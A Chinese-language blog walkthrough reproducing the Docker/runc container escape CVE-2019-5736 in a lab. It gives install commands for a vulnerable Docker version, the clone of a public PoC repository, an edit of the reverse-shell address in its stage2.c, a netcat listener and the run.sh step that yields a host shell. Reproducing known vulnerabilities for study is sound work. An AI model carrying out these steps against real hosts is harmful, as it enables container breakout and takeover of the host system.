Docker容器逃逸漏洞 (CVE-2019-5736)的复现

  • A+
所属分类:安全文章

本周继续实践Docker容器逃逸漏洞,CVE-2019-5736,

还是宿主机ubuntu18.04,安装docker-ce,别安装docker.io,

download.docker.com安装,

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg,

echo
  "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null,

sudo apt-get update,

查看docker-ce可安装的版本,apt-cache madison docker-ce,

这回安装18.06.0版本,

sudo apt-get install docker-ce=18.06.0~ce~3-0~ubuntu containerd.io=1.3.7-1,

sudo systemctl enable docker,
sudo gpasswd -a ubuntu docker,
newgrp docker,

这回的靶机要自己build镜像,

git clone https://github.com/agppp/cve-2019-5736-poc,

cd cve-2019-5736-poc,

修改代码,vim stage2.c,反弹shell的地址改成靶机实例的地址,其实这步不合理,因为还没创建靶机实例呢,应该在后面执行run.sh之前改才合理,不过我这里环境就做这一个实验,只有靶机这一个容器实例,因此能提前知道地址,

Docker容器逃逸漏洞 (CVE-2019-5736)的复现

build镜像,docker build -t cve .,

注意提前备份一下宿主机里的docker-run文件,

sudo cp /usr/bin/docker-run /usr/bin/docker-run.bak,

拉起靶机实例,docker run -d cve /bin/bash -c "tail -f /dev/null",

进入靶机实例,先安装几个需要的软件,

apt update,apt install vim net-tools netcat,

cd /root,修改运行脚本,vim run.sh,

Docker容器逃逸漏洞 (CVE-2019-5736)的复现

运行脚本之前,再给靶机开一个shell,打开反弹shell监听,nc -lvp 4444,

再回来运行脚本,./run.sh,

然后再给靶机重新开一个shell作为触发,宿主机的shell这就过来了,

Docker容器逃逸漏洞 (CVE-2019-5736)的复现

逃逸完成。

本文始发于微信公众号(云计算和网络安全技术实践):Docker容器逃逸漏洞 (CVE-2019-5736)的复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: